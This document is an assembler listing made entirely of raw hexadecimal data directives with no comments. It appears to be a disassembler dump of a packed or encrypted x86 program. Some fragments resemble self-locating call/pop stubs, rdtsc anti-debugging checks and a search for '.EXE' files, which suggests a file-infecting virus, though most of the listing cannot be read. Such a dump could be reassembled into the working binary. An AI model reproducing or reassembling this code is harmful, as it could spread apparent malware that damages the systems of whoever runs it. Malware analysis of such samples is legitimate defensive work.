		dd 35AF7F37h, 5A1046A2h, 355E48CCh, 0DA000000h,	0ECE37E95h
		dd 85BF9579h, 61D99E80h, 0A7928840h, 1AE5857Fh,	50DCBA4h
		dd 0E56F05ADh, 1046A263h, 0D668CC5Ah, 0DCBD165h, 7C6E305h
		dd 0C3858CBBh, 9D47072Fh, 781240A2h, 66D084E1h,	0E19518E8h
		dd 34B8318h, 0DE33E543h, 74F797FDh, 50D29C7h, 29C12B2Fh
		dd 237152CDh, 9E98CE2Eh, 0EC46AED6h, 7D2B04E5h,	61BCBFBh
		dd 56A47E24h, 0CF9B9C12h, 62C48411h, 3EF14AB0h,	8D96788h
		dd 7DE9C558h, 0F546F16Bh, 50DBB41h, 0C5CF3101h,	0E4529A35h
		dd 0FD8D6773h, 0A8ABB3E1h, 50D13A4h, 11A115E6h,	0A680050Dh
		dd 0C347CF0h, 0DB412266h, 0FE4AE7AFh, 0BC6DFFFFh, 50DCBFEh
		dd 0DCBF9C1h, 0CB73C605h, 0F248050Dh, 0CD050DCBh, 50DCB6Dh
		dd 0DCBE852h, 0CBE8FE45h, 0D56B2611h, 979FCF33h, 94C107A1h
		dd 3E8C7DFEh, 0C4ECC93Dh, 101C0D4Dh, 0F4898F49h, 315h
		dd 52BAEEC1h, 0EBF3A5BFh, 38401676h, 7098CC25h,	8CD4809Dh
		dd 91F2F16Dh, 43A6BBC3h, 3E18F51Dh, 0F5CD0068h,	2CC847AFh
		dd 1AF6BD3h, 0C1BB2B03h, 181E44A2h
		dd 0AE89588Eh, 50DCB08h, 9A307848h, 31AF9399h, 0BFC7EF0Fh
		dd 197FEBCh, 6CFAE803h,	92D24412h, 3547B06Ah, 81093DF3h
		dd 0B151BB1h, 2FBB8245h, 0CF22F8A8h, 8459A1F7h,	0A47EF8AEh
		dd 0F44A2E56h, 184CCA9Ch, 6AE8E516h, 0A439B9BAh, 0C91F050Dh
		dd 3F1BF6ACh, 49E3B969h, 455CDCE3h, 0A07D52Ch, 0B6FE782Eh
		dd 760F1516h, 43730F31h, 0E50B089h, 44C39A08h, 3ECF31B6h
		dd 0AD8C56F6h, 6AE70F55h, 76D0460Ch, 0F7894310h, 0CA0D6309h
		dd 0C82BB296h, 301A576h, 6C60E36h, 3DC12325h, 49AA4709h
		dd 0C365D31Bh, 393AD085h, 0F319D43h, 3C1DB7FFh,	0F5687026h
		dd 7B1DB79Dh, 1A546F8h,	8EEB0603h, 0E0285CDAh, 0F545C620h
		dd 0E303019Fh, 494176E5h, 97E12EC8h, 12312A4h, 3A625203h
		dd 0D1DF58F2h, 0AD093D47h, 4F61CF85h, 92A136A8h, 0DE78FEAEh
		dd 383E6243h, 1076DC8Ch, 0E5AE8943h, 150F34E6h,	0BF70342Dh
		dd 282E0317h, 1D455h, 792F0600h, 0B2E4FC11h, 0F59B7AAh
		dd 470D6AE7h, 93C1223Fh, 33B0AA4Bh, 0E77A82D6h,	59B4DC8Ch
		dd 12CF177Dh, 89066E34h, 0AEAA0CEFh, 7AEA0301h,	0F043E580h
		dd 50DCB4Eh, 0CB77CF28h, 0F37050Dh, 0AE894373h,	50DCB08h
		dd 62A87848h, 84653F64h, 912BFBADh, 31AFA6A6h, 30EADA0Fh
		dd 97199D9Eh, 69590301h, 0FF15BFB9h, 0BE13ECA6h, 1E0938B1h
		dd 0CD079D0h, 0A10B1476h, 81B0BE58h, 839AC203h,	91370E7h
		dd 4AB6D74Dh, 8C000001h, 4A87EFB9h, 3DD0386Eh, 0F06D7523h
		dd 0A8A5CD93h, 20F1194Fh, 0F4A0BD26h, 4E1271ECh, 99CF2B26h
		dd 0D0869C71h, 827D1788h, 301AD3Ch, 951E947Ch, 936C267Fh
		dd 0F31AF85h, 2D13C9F9h, 4FF3116h, 8D6B3B6Dh, 0CB91F64Bh
		dd 0E7902611h, 0E0D00301h, 9FC5DD20h, 0D6BC9A77h, 7E5BB660h
		dd 0A8782C2Ah, 52AD6462h, 301E7ECh, 0AF8984ACh,	0F377FF9h
		dd 0CD9BF455h, 0B14B1B4Bh, 7220021Fh, 2300C084h, 93D8351h
		dd 1FB5DDE5h, 0BB44FA45h, 3C04050Dh, 0EDB3916Ch, 3A6C4885h
		dd 0E5AB8960h, 0FBDE3373h, 23E3A395h, 8BD1362Bh, 0C78DEE63h
		dd 1341A2BFh, 9EF851CBh, 46064EC8h, 630E98FBh, 0A1F4365Fh
		dd 1A1C4AAAh, 20FA226Ah, 5E6CDBDAh, 17B7978Ch, 0C00062FFh
		dd 0FF69CD2Eh, 1929050Dh, 0DFFA41Ah, 0CD71C205h, 8D050DFFh
		dd 0B1F9C9A5h, 3A1EF3A9h, 6BBCA292h, 24ACF25h, 0ADB05014h
		dd 0A8FEDA55h, 0C578E6AEh, 7CCD484Dh, 3BD63E66h, 0AA6088D8h
		dd 0EFFC3A44h, 0A46447DFh, 4EA9786Eh, 50D2EE8h,	319A5EA8h
		dd 5BCFE403h, 0C631EB13h, 0F31A3BAh, 0ADF3D128h, 0C73101FDh
		dd 0CE167C5Ah, 0CC98F554h, 3FD1Ch, 79070000h, 1D4BA2FFh
		dd 0F258BE1Bh, 0EBB99504h, 0C395EC6Dh, 0BDEBC455h, 97FDDEBBh
		dd 8DD330A1h, 782E0E8Bh, 5F0163FEh, 895332D9h, 0A6B850E3h
		dd 405FBA07h, 0C105E8C1h, 54006E8h, 50F847DAh, 43F1F35h
		dd 58C30151h, 8704EB83h, 575C241Ch, 0C781E789h,	4, 8704EF83h
		dd 895C243Ch, 89512434h, 4C181E1h, 81000000h, 4E9h, 240C8700h
		dd 242C895Ch, 5CC2B951h, 0CE89060Ch, 81240C8Bh,	4C4h, 20646800h
		dd 24890000h, 24048324h, 99685D04h, 8900007Fh, 458F2434h
		dd 2434FF08h, 4C4815Dh,	8B000000h, 89572434h, 4C781E7h
		dd 81000000h, 4C7h, 243C8700h, 1540E95Ch, 6C33FFFBh, 60E45EA6h
		dd 0B8F657DDh, 60C679Dh, 0C38BC503h, 69468D8Dh,	9E8060Ch
		dd 38000000h, 6493F3BDh, 0DC32C795h, 0EE9h, 0BE276300h
		dd 212EAB9Eh, 6417038Ch, 5A20AF19h, 1B418D89h, 6A0607h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 929170C3h, 858B1211h, 6072725h, 60585C7h, 5B580607h
		dd 0F38A0000h, 6985C7h,	607h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E889C1C3h
		dd 0Ch,	0BC5773CFh, 0E369634Bh,	0EFFE41F5h, 0C618523h
		dd 665B0607h, 11E9DF8Bh, 44000000h, 5CC4DE68h, 7185A0Bh
		dd 4D8B8EC8h, 6DD12A89h, 3041B5FFh, 6A0607h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 2550D2C3h
		dd 0D6C8BFA0h, 8BE328D0h, 732D9B5h, 0E195FF06h,	66060701h
		dd 0C80ADF81h, 95FF006Ah, 6073201h, 5AEBC08Bh, 70458C03h
		dd 0CAC5A4CAh, 6C75E7h,	78EFD23Eh, 1FB27A69h, 5923E2E8h
		dd 0FD1F6DC5h, 0F7543B39h, 83A079E9h, 0B5D14238h, 9C65F51Fh
		dd 0D733D67Dh, 0A11AAB0Ah, 0F3651212h, 618B3DBh, 80D4ACB0h
		dd 0C88E6D9h, 2D39E78Eh, 352D7A32h, 27AC71B1h, 0EB8FFEE1h
		dd 65509256h, 125C6AC9h, 4B45EA1Dh, 0AF47A671h,	7033F284h
		dd 344B0690h, 717C7AECh, 8495FC3Dh, 8451817Eh, 258F3300h
		dd 793F444Bh, 896E203Fh, 32F12AA8h, 2BFE3C3Ch, 8EBD333Dh
		dd 7042686h, 346C38D4h,	34BDDB3Dh, 79E5333Dh, 0F73BBE43h
		dd 0FF814E12h, 9ABCB25Bh, 893E6A45h, 32D91A70h,	6EB3C3Dh
		dd 5EB7333Dh, 3733633Dh, 14ED333Dh, 0BDAEF065h,	0B57F1779h
		dd 2FB91779h, 74DE333Dh, 2804F06Dh, 8B0668A5h, 0B7D4512Eh
		dd 34ED333Ch, 364CDAC1h, 0FEFB333Dh, 0F138BE58h, 3BD83F54h
		dd 346F30B5h, 0C7083C3Dh, 6413B8ADh, 0A413B85Bh, 0DCA63357h
		dd 347B333Eh, 6C7E6B1Dh, 30FA77B4h, 304B77BCh, 34B73321h
		dd 0F318637Dh, 0E672F65Eh, 0A585027Bh, 0FA625583h, 9338BE39h
		dd 0BFD83F54h, 523FA3CFh, 0A4655382h, 34DB20D4h, 0F7FDA23Dh
		dd 20F5283Ch, 0C1B6A39h, 0BEC05B04h, 0C88494D5h, 15C2A6C2h
		dd 385E353Ah, 94DB333Dh, 807E707Ch, 0E0219E97h,	0BFEB1F70h
		dd 8F0755FDh, 3563B0DCh, 3469340Ch, 89343A48h, 32DC3968h
		dd 64F4473Dh, 8C36B86Eh, 347B3747h, 1F10B6B4h, 0A953353Ah
		dd 326680CFh, 6CECE0C2h, 3E8E8EBEh, 40ED353Ah, 8CA5632Ah
		dd 347B3747h, 1F10B6B4h, 0A953353Ah, 326683DCh,	6CECE0C2h
		dd 0DC893357h, 34ED333Eh, 6E35691Dh, 305F67B4h,	309977BCh
		dd 34DE3326h, 0FEAC617Fh, 7BFFC490h, 52120841h,	3F68EDBCh
		dd 0DCA63357h, 347B333Eh, 6C7E6B1Dh, 30FA77B4h,	304B77BCh
		dd 34B73328h, 0FD18637Dh, 3B2DB8C1h, 0A97BFB82h, 32775A92h
		dd 34BD3CD4h, 0DE0EBB3Dh, 0B0CCE235h, 0C1282D55h, 40E87ED8h
		dd 6FD4B6B0h, 8D903531h, 0E4844015h, 43C1BCh, 0F4D541DEh
		dd 3457B732h, 265E333Dh, 28DB333Dh, 0FFD2C447h,	0C6F50AC8h
		dd 0A3772C0Bh, 9F0319A9h, 8043BEB3h, 3B693470h,	34B731B5h
		dd 8C0BB83Dh, 34ED333Eh, 0B0598A5Bh, 0B52CD0C2h, 3DA9DBFCh
		dd 0A9536946h, 32635A8Ah, 3B5FC8B6h, 0A6DB333Dh, 81A26451h
		dd 1F018510h, 4A71C31Eh, 0B9E41991h, 38850AB8h,	22E73C3Bh
		dd 0DCB7333Dh, 34DB332Dh, 63C862E9h, 0DEDFA3F3h, 0FC5D7F9Ah
		dd 4E43E15Ah, 850ECC67h, 3BAF3860h, 34B770B9h, 8046BE3Dh
		dd 5EEB3470h, 371E643Dh, 147B333Dh, 0BDE2F062h,	0B5DA1741h
		dd 2D6B1779h, 73B7333Dh, 856EF06Ah, 0EB99ADCCh,	641F9784h
		dd 63ABB84Ah, 8CE4FCB6h, 34DE333Ch, 4B930D82h, 5254CC37h
		dd 4028F4BCh, 5D51AEB0h, 0B17B3531h, 32776804h,	27323C6Eh
		dd 0DDDE333Dh, 346F3333h, 8A24DEFBh, 9101926Fh,	3A7928E9h
		dd 0CBA96A94h, 677B59EDh, 34BD30D5h, 0F785133Dh, 1033BA66h
		dd 10F3B239h, 34DB2839h, 0F7BE703Dh, 40D5BC1Bh,	139D7D3Fh
		dd 0B0B2F336h, 34DE336Dh, 3448BF32h, 385F333Dh,	6BDB333Dh
		dd 0AD206B42h, 0F932E6EDh, 0DD550FF0h, 34BD332Dh, 77418F56h
		dd 0DFD6C96Ch, 53FDD075h, 248C64F9h, 8070BE64h,	8CF03470h
		dd 347B333Eh, 34BD3CD4h, 13DA193Dh, 0FD9337F4h,	7CE29AEh
		dd 8C4256DDh, 0FE66D0C2h, 6C29B27Eh, 0B959DECDh, 38D49680h
		dd 2653BE3Bh, 8C693F50h, 0BEFC6F40h, 2C52B60Eh,	0FBC6353Ah
		dd 0A953DAFCh, 32635A8Ah, 3B5FC8B6h, 0A6DB333Dh, 81A26451h
		dd 1F018510h, 8371C31Eh, 0A4F305E9h, 0BF0FC08Bh, 8BD78AFBh
		dd 53006AC3h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 60EBB2EEh, 830FF960h, 0
aAAlJ		db 'a"aj',0
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 65FC8C3h, 15D25C5Dh,	8A0F1094h, 0
		dd 3101BD83h, 75000607h, 55BD8309h, 6070Ah, 53501974h
		dd 7AB8C08Bh, 89000004h, 7217D85h, 599D8D06h, 0FF0609B4h
		dd 83585BD3h, 70A55BDh,	17740006h, 7AB85350h, 89000004h
		dd 7217D85h, 0FA9D8D06h, 0FF0609B0h, 6A585BD3h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 2F47C350h, 6759A511h, 0BEE5202Dh, 3DA84780h,	0CE96053h
		dd 0DF000000h, 0A2A8277Dh, 5EBB1C7Ch, 668A1867h, 4AFDC981h
		dd 6A5E61h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 6049BAC3h, 81BAA708h, 918D0AE6h, 0C08BF848h
		dd 6F078D8Dh, 6A060Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0B7A159C3h, 0B19D898Ch, 8906070Bh
		dd 71B418Dh, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 585C70Fh,	0D8060706h, 0F900005Ch
		dd 6985C7h, 607h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 46E4A4C3h, 0FF147A63h
		dd 71CF1B5h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0EBD82410h, 0D3AF8279h, 0DDB52398h
		dd 0FF060710h, 701E195h, 0FF006A06h, 7320195h, 0EBC08B06h
		dd 0CE20703Dh, 0F7CC3C0Bh, 60FDE4F1h, 0A888A2BCh, 66115E5Dh
		dd 4D84A682h, 0CBECDCh,	757DF527h, 0F925FBEAh, 8B7871A5h
		dd 8A4BC507h, 55D77416h, 8A9BA460h, 2133E8C6h, 6540411Fh
		dd 0CE81339h, 0A000000h, 12A11AABh, 0DBF36512h,	0F50618B3h
		dd 0F1F6815Bh, 81024509h, 67A4C3h, 18D8900h, 0B806071Fh
		dd 0
		dd 9FBDE981h, 148B3BE2h, 6800F03h, 23000000h, 72E958Dh
		dd 6BEA8106h, 0F6A05DEh, 88h, 57C28100h, 317BCBCDh, 71CB19Dh
		dd 0C4EA8106h, 0BE60AB1Ah, 6C512E09h, 0C9BF0F52h, 2B03048Fh
		dd 717D9BDh, 4D8D8906h,	8306070Ch, 0F78101E8h, 74D578AFh
		dd 66484848h, 81C0AFB9h, 0FF9920F8h, 1E850FFFh,	66000000h
		dd 8A92C781h, 32E9h, 0C418D100h, 80364DE6h, 4725C1EBh
		dd 0AF2B2354h, 276170E2h, 958D8B5Ch, 0E906072Eh, 0FFFFFF76h
		dd 4A63561Ah, 0DC3DF5E7h, 4331367Ch, 0D6BD6D83h, 0E9324C73h
		dd 13Ch, 4Fh dup(0)
		dd 1699BD83h, 0F010607h, 56184h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 75201DC5h
		dd 0B6AE793Fh, 85C62BF2h, 6071C4Dh, 850F6043h, 3, 61F7BF0Fh
		dd 0FE729868h, 0E830F92h, 50000000h, 0F616052h,	0F525031h
		dd 5A585A31h, 24048158h, 59A75E5Dh, 18C0Fh, 0FFF80000h
		dd 712EDB5h, 7820F06h, 0F000000h, 18Ah,	858DF800h, 60A7CFEh
		dd 36BE6660h, 14E979h, 48CE0000h, 7AD3F14Ch, 421FCCE4h
		dd 0A4676AFEh, 0C7B50980h, 0FF613792h, 0FE9D0h,	21AE0000h
		dd 3FA1710Ch, 8E885F5h,	0E789A0BFh, 0F185890Ah,	60060703h
		dd 28F0Fh, 0F8B60000h, 61CCB760h, 0DC8A6061h, 4D85C661h
		dd 5006071Ch, 88E0Fh, 840F0000h, 2, 4E86160h, 56000000h
		dd 0FA8ADADh, 0A89h, 61606000h,	8E0Fh, 50610000h, 0DE9h
		dd 0E1186400h, 0A081C409h, 21FE3BFBh, 448BF4FCh, 52500424h
		dd 0C38B6660h, 0F615F53h, 50525031h, 5A310F52h,	50310F58h
		dd 5A310F52h, 5A585A58h, 0F008B58h, 128Bh, 50525000h, 5A310F52h
		dd 0F310F58h, 80h, 89585A00h, 60042444h, 800FA8B1h, 14h
		dd 0EE8h, 729F2500h, 0E514E2ABh, 0E4703FB6h, 5AD8C542h
		dd 66605861h, 5FFAEE81h, 7E9h, 967BEB00h, 0C3C0CD89h, 0EDB5FF61h
		dd 6A060712h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 4826C356h, 0CAA12254h,	6660603Bh
		dd 61EB22BEh, 6165E880h, 0D7CA8160h, 8B2BEE03h,	858D61F8h
		dd 60A7CFEh, 10E9h, 0C670F100h,	0D1662E96h, 0D9EB7851h
		dd 3E2CB32Fh, 0FD0FF66h, 1580h,	10E900h, 0AB3E0000h, 503F560Eh
		dd 0D4675A68h, 8A8CD25Dh, 6E91C01h, 0A2000000h,	3D2E8F7Bh
		dd 6D858907h, 6006071Dh, 850F50h, 5F000000h, 4892BF66h
		dd 12E961h, 4B580000h, 9A09FF3Fh, 7B7D4BE6h, 6BB8E070h
		dd 2BD1C04Bh, 0CFF7868h, 0B840F99h, 0E9000000h,	6, 0CC169214h
		dd 4814AB1h, 82A8B724h,	1830F57h, 0F8000000h, 12EDB5FFh
		dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 767C9CC3h, 870F1259h, 7, 1820Fh, 8DF90000h
		dd 0A7CFE85h, 128A0F06h, 0E9000000h, 0Dh, 33F63807h, 0E3F77EF7h
		dd 9D34BDABh, 0F5D0FF6Ah, 13E9h, 4CAC4800h, 3351DA35h
		dd 3060A158h, 5D971B4h,	4DDA7953h, 31558589h, 6A0607h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0D87105C3h, 0D819E7AEh, 85C6F946h, 6071C4Dh,	5268F550h
		dd 0FDAF5D2h, 0E8Ch, 60525000h,	50310F61h, 5A310F52h, 81585A58h
		dd 0E042434h, 0FFF94D69h, 701A9B5h, 19830F06h, 0E9000000h
		dd 14h,	0AE1E69F4h, 9EAB6E4Dh, 0D8C9D30Eh, 0ADA8F896h
		dd 0A2B8315Dh, 3A13858Dh, 6A0607h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 1572D9C3h, 9E9B534h
		dd 5B000000h, 0A1BB256Dh, 3779A661h, 0E2816660h, 0B8BBDC0Bh
		dd 616E9F48h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 8A60C5C3h, 0BA6657D5h, 6158CF23h
		dd 0FE9h, 0B5999800h, 6F4C1E57h, 108E7FE5h, 0D3797AA6h
		dd 6BD8589h, 8D0F0607h,	8, 28E0Fh, 61600000h, 1A1E9h, 7810F00h
		dd 60000000h, 0BF0F6160h, 0F9561C9h, 0C87h, 68F0F00h, 50000000h
		dd 5A310F52h, 6E95058h,	0E2000000h, 0A6AEE932h,	0F609538h
		dd 486h, 6EBF6600h, 8E912h, 2F210000h, 37E2B44Bh, 8B615181h
		dd 10E9ECh, 21B70000h, 0EA9BC47Bh, 3B4782A1h, 2C36C1EAh
		dd 8A0F07D3h, 20h, 50E08160h, 0E85848FCh, 12h, 6C799DAh
		dd 0E64D16F5h, 0BACC11A4h, 0AAF24F9Eh, 615B5CBBh, 0FFCC483h
		dd 198Dh, 0E8FC6000h, 10h, 7F25A982h, 178BE8CEh, 4ABF12FCh
		dd 0C04FBCBBh, 6A60615Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 9B7C351h, 9E906C2h
		dd 0AE000000h, 15B882Bh, 0DE2CD343h, 0E8h, 0EA815A00h
		dd 60C75FCh, 0FC45C7h, 83000000h, 71699BAh, 840F0106h
		dd 98h,	6A006A52h, 0F192FF0Fh, 5A060703h, 701B8289h, 9A8D060Ch
		dd 60C701Fh, 2803C752h,	53000001h, 6D92FF50h, 5A06071Dh
		dd 1F9A8D52h, 53060C70h, 701BB2FFh, 92FF060Ch, 60706BDh
		dd 74C00B5Ah, 1F9A8D50h, 8D060C70h, 0C933247Bh,	104F981h
		dd 0D4740000h, 393C8141h, 4558452Eh, 348DEE75h,	0C752B39h
		dd 1309BA8Dh, 4D8B0607h, 32A4F30Ch, 0FF52AAC0h,	828D0875h
		dd 6071309h, 5592FF50h,	5A060731h, 0A075C00Bh, 1FC45C7h
		dd 0EB000000h, 0FC45C707h, 0
		dd 0FC458B61h, 8C2C9h, 8E9h, 619A4200h,	22069AA9h, 0D28BFCABh
		dd 78028D8Dh, 56F8060Ch, 5F69EE80h, 1B418D89h, 6A0607h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0C0C10CC3h, 34241CB7h, 585C7FAh, 5C060706h, 6A000067h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0C191C356h, 0F7D39C13h, 118D0Fh, 0CE90000h
		dd 0B6000000h, 0E073CAE9h, 0B557A2A5h, 0E9B031C5h, 0Bh
		dd 727BC774h, 27608E0Fh, 0C7E35895h, 7006985h, 6, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 8B660FEAh, 9D8960FEh, 6071A79h, 9E9h, 98706300h, 0C84E4C4Fh
		dd 0FF61AE1Fh, 73041B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0A4BB9263h, 3C60194h
		dd 727299Dh, 0C0816606h, 95FFDE8Bh, 60701E1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 96C35747h, 9AB1FC0Ch
		dd 0AE8h, 87A51F00h, 0A839F8BDh, 66C29CD4h, 0F85EDE8Bh
		dd 95FF006Ah, 6073201h,	5AEBC08Bh, 8E4C0FA0h, 0FB9BE327h
		dd 0AF742E94h, 0D2296855h, 0AC2D3B60h, 0A88A3DC3h, 49C28ACFh
		dd 0E9626758h, 0F895C7FEh, 5D6C80A1h, 0CFF4A5BAh, 7E891926h
		dd 461F3091h, 0F92971A4h, 0FBE9F991h, 0BA3BEF2h, 6CCAC8B3h
		dd 780AF2EFh, 0A72B5B7Ah, 39391B67h, 0F3F9ABBFh, 528C9AAFh
		dd 66E9A7F7h, 60000002h, 0F6D98C66h, 840F04C1h,	35h, 0B5FF016Ah
		dd 60701A9h, 7CFE858Dh,	0D0FF060Ah, 332D8589h, 0FE8B0607h
		dd 680CEFC1h, 20060000h, 26A006Ah, 0D6857h, 95FF0001h
		dd 607332Dh, 32E9h, 4D85C600h, 5606071Ch, 0C530DF68h, 0EDB5FFA9h
		dd 8D060712h, 0A7CFE85h, 89D0FF06h, 703C985h, 0C5858D06h
		dd 5006072Ah, 56A406Ah,	0C995FF56h, 61060703h, 0C3h, 2 dup(0)
		dd 0D48B5200h, 8428B60h, 78E48589h, 428B060Ch, 0DC85890Ch
		dd 8B060C78h, 85891042h, 60C78E0h, 791AB58Dh, 858D060Ch
		dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 0C78E4B5h, 0DC858B06h
		dd 83060C78h, 0C78E0BDh, 840F0006h, 7, 2E90689h, 88000000h
		dd 0CF06h, 0
		dd 8B520000h, 428B60D4h, 0E4858908h, 8D060C78h,	0C796BB5h
		dd 35858D06h, 0FF005B7Eh, 8B5A61D0h, 0C78E485h,	4C206h
		dd 78E4858Bh, 8B060Ch, 78E48589h, 0CF060Ch, 60000000h
		dd 7941B589h, 8589060Ch, 60C793Dh, 625858Dh, 408B0607h
		dd 7A858944h, 8D060C79h, 0C79B0B5h, 35858D06h, 0FF005B7Eh
		dd 858B61D0h, 60C7941h,	3D9D8BC3h, 0F060C79h, 33C43B7h
		dd 785B8BD8h, 793D9D03h, 738B060Ch, 3DB50324h, 56060C79h
		dd 8B207B8Bh, 0BD031C73h, 60C793Dh, 793DB503h, 83FC060Ch
		dd 8B41FFC9h, 0C79419Dh, 3178B06h, 0C793D95h, 4C78306h
		dd 0C084028Ah, 0F840Fh,	33A0000h, 0FFDC850Fh, 4243FFFFh
		dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
		dd 386048Bh, 0C793D85h,	41858906h, 8B060C79h, 8BCE8BF0h
		dd 7ABD81C1h, 60C79h, 0FC03000h, 0D85h,	14E8C100h, 0FFC25h
		dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 60C797Ah
		dd 6070C83h, 8B07148Bh,	3C8124C2h, 0FC18B81h, 5784h, 7ABD8100h
		dd 60C79h, 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h
		dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
		dd 80h,	1E840Fh, 0BD810000h, 60C797Ah, 0C0300000h, 0E840Fh
		dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 0E8858DCFh
		dd 89060C78h, 7107D85h,	7E858D06h, 89060C79h, 7212D85h
		dd 45858D06h, 89060C79h, 7173185h, 0EE806h, 0B1C40000h
		dd 61236A52h, 3A6EDA50h, 0A8DC299Ah, 5EF98B66h,	263323BFh
		dd 3EC68136h, 81000072h, 0BA6FE0CFh, 0BB02h, 0F600000h
		dd 38Eh, 4FE78000h, 148B61FCh, 81C38A1Eh, 0AD6151EAh, 0A8B4BF07h
		dd 0C28120F0h, 2159800Ch, 1B890Fh, 0E9500000h, 14h, 0BE071E60h
		dd 67B9CEFEh, 0E697DECDh, 4D23362Eh, 24CC3B11h,	81F28158h
		dd 893FE85Ch, 0B8661E14h, 0CF81D8EDh, 1FA7D289h, 0E801EB83h
		dd 10h,	0EBFABB88h, 0B00F54D3h,	43D28A3Fh, 86C5B89Ah, 0ABEF8166h
		dd 4B4B5FBDh, 49B9664Bh, 0A4FB81AEh, 0FFFFF8Eh,	1F85h
		dd 3810F00h, 80000000h,	29E9D6E1h, 39000000h, 7E30CA14h
		dd 79DBE17Ah, 0ADE21A12h, 3BC0955Fh, 0DD8EF181h, 5BE9358Ah
		dd 7DFFFFFFh, 59A6E7Ah,	5EA3A396h, 0B286DC5Fh, 15CE9h
		dd 0DB183F00h, 0C34CC3F2h, 0D15FB094h, 0DA51BB08h, 0D951B851h
		dd 0D25FB308h, 0F9768F51h, 0AB238638h, 8B222751h, 3F7E7BC6h
		dd 0ECB19C62h, 9D130750h, 9D12D751h, 9D13FF51h,	9D13FB51h
		dd 2 dup(9D13FF51h), 9D13D051h,	9D13FF51h, 9D13F751h, 9D13FF51h
		dd 0EE6AAC51h, 9D7E9A25h, 0F261AF71h, 0EE609A32h, 9D13FF0Ch
		dd 3Ch dup(9D13FF51h), 0FAA85D51h, 16E4E931h, 5C680000h
		dd 0E9060C7Fh, 0FFFBC6DFh, 0C804068h, 0C6D5E906h, 2C68FFFBh
		dd 0E9060C81h, 0FFFBC6CBh, 0C81ED68h, 0C6C1E906h, 7868FFFBh
		dd 0E9060C83h, 0FFFBC6B7h, 0C851F68h, 0C6ADE906h, 0F368FFFBh
		dd 0E9060C85h, 0FFFBC6A3h, 0C86B868h, 0C699E906h, 0E068FFFBh
		dd 0E9060C88h, 0FFFBC68Fh, 0C89BE68h, 0C685E906h, 6F68FFFBh
		dd 0E9060C8Ah, 0FFFBC67Bh, 0C8B2868h, 0C671E906h, 5F68FFFBh
		dd 0E9060C8Ch, 0FFFBC667h, 0C91AA68h, 0C65DE906h, 8068FFFBh
		dd 0E9060C92h, 0FFFBC653h, 6DD24A0Ah, 0CB6CE8EFh, 2A930949h
		dd 8A33AB2Eh, 0EC51CD8Eh, 541774E8h, 0F8F567D8h, 1B59BB7Ch
		dd 0BE38189Dh, 0D12D7DC2h, 2BC17C0Dh, 8705026Ch, 403CB9A3h
		dd 168275F6h, 926ED854h, 5BE8A1FFh, 0B97AAE3h, 271AA6D7h
		dd 9A5DD86Ah, 5AC0BC3Eh, 1A531AFEh, 322D6A27h, 0E67416CFh
		dd 18DB6BE3h, 1A2F5E82h, 0E6516A27h, 58DC9513h,	568A66C2h
		dd 6A271A27h, 4002DE59h, 1FA131C4h, 63682E4Dh, 17BA46F0h
		dd 88CB6EF6h, 46F4470Ch, 0B8CD55A8h, 756C20E6h,	0E577CFE2h
		dd 1CDF6FEDh, 0B99E67D9h, 34E77A3Bh, 25000000h,	1D5538C9h
		dd 0B04C2F9Fh, 6A09B531h, 0EDEF73EFh, 26682EC2h, 245CB934h
		dd 0DA9925A0h, 95211C27h, 20B60CB1h, 2356C16Ch,	3B661CE5h
		dd 0FD697Ah, 0DDAB0000h, 890D44A3h, 5FC3BE3Dh, 0A91FA30Ah
		dd 86799A29h, 0D89CA48h, 8C084F8Dh, 0F37A9722h,	865CC0E0h
		dd 0D436F00Bh, 827A7F9Ah, 2419B07h, 51B37386h, 32249917h
		dd 6A278356h, 0B93AD193h, 77F2713Dh, 0F97771EBh, 1153C106h
		dd 0B17DF9FAh, 29951753h, 0E89ACF4Ah, 0A061748Dh, 2F4423Dh
		dd 4DC98A6Dh, 1B8702E1h, 49125BBFh, 0F16C6A27h,	0FA68EC0Eh
		dd 41682E15h, 0EBF9712Ch, 0A6597D85h, 291FA093h, 9246D458h
		dd 6E273839h, 58D49163h, 8920DEEh, 7C7491D2h, 58B87DF8h
